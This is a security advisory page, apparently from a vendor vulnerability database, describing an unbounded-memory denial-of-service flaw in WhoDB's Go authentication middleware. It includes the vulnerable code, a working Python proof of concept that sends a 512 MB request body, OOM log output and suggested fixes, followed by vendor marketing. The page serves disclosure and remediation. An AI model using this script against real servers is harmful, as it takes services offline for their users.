Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-5pf6-cq2v-23ww

HIGH

WhoDB Allows Unbounded Memory Consumption in Authentication Middleware Can Lead to Denial of Service

Also known asGO-2024-3350
Published
Dec 19, 2024
Updated
Dec 20, 2024
Affected
1 pkg
Patched
None yet
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/clidey/whodb/core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions.

Affects all versions up to the latest one (v0.43.0).

Details

The vulnerability exists in the AuthMiddleware function in core/src/auth/auth.go. The middleware processes all API requests (/api/*) and reads the entire request body using io.ReadAll without any size limits:

func AuthMiddleware(next http.Handler) http.Handler {
  return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) {
    // No size limit on body reading
    body, err := io.ReadAll(r.Body)

    // ...

    // Creates another copy of the body
    r.Body = io.NopCloser(bytes.NewReader(body))

    // ...

    // Unmarshals the body again, creating more copies
    if err := json.Unmarshal(body, &query); err != nil {
        return false
    }
  })
}

The issue is amplified by:

  1. A generous 10-minute timeout (middleware.Timeout(10*time.Minute))
  2. High throttle limits (10000 concurrent requests, 1000 backlog)
  3. Multiple copies of the request body being created during processing
  4. No per-client rate limiting

PoC

  1. Run the latest WhoDB:
docker run -it -p 127.0.0.1:8080:8080 clidey/whodb
  1. Prepare a PoC Python script:
import requests
import base64
import json
import time

# Create a sample token
credentials = {
    "database": "test"
}
token = base64.b64encode(json.dumps(credentials).encode()).decode()

# Create a large query that will pass initial checks
# Using "Login" operation which is allowed
payload = {
    "operationName": "Login",
    "variables": {},
    # Create a large string (512 MB)
    "query": "A" * (512 * 1024 * 1024)
}

headers = {
    "Content-Type": "application/json",
    "Cookie": f"Token={token}"  # or use Authorization header if IsAPIGatewayEnabled
}

url = "http://localhost:8080/api/query"  # adjust as needed

print("Sending large payload...")
start = time.time()
try:
    response = requests.post(url, json=payload, headers=headers)
    print(f"Response status: {response.status_code}")
except Exception as e:
    print(f"Request failed: {e}")
print(f"Time taken: {time.time() - start:.2f}s")
  1. Run the script and observe memory usage of the WhoDB container. Run it a few times in parallel, or increase the payload size. I was able to hit the OOM killer on a 8 GB VM quickly. Process "core" is the entrypoint of the container.
[3970241.161574] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,task=core,pid=411856,uid=0
[3970241.161611] Out of memory: Killed process 411856 (core) total-vm:8359408kB, anon-rss:5548564kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:11032kB oom_score_adj:0

Impact

  • Severity: High
  • Authentication Required: No (public API endpoint)
  • Affected Components: All API endpoints (/api/*)
  • Impact Type: Denial of Service

Any client can send arbitrarily large request bodies to the API endpoints. Due to the multiple copies created during processing and lack of size limits, this can quickly exhaust server memory, potentially affecting all users of the system. The high concurrent request limits and long timeout make this particularly effective for DoS attacks.

Fix considerations:

  1. Implement request body size limits using http.MaxBytesReader
  2. Reduce the request timeout from 10 minutes
  3. Implement per-client rate limiting
  4. Consider streaming body processing instead of loading entirely into memory

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/clidey/whodb/coreall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/clidey/whodb/core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of github.com/clidey/whodb/core has shipped for GHSA-5pf6-cq2v-23ww yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5pf6-cq2v-23ww is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5pf6-cq2v-23ww. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions. Affects all versions up to the latest one (v0.43.0). ### Details The vulnerability exists in the AuthMiddleware function in `core/src/auth/auth.go`. The middleware processes all API requests (`/api/*`) and reads the entire request body using `io.ReadAll` without any size
O3 Security · Impact-Aware SCA

Is GHSA-5pf6-cq2v-23ww in your dependencies?

O3 detects GHSA-5pf6-cq2v-23ww across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.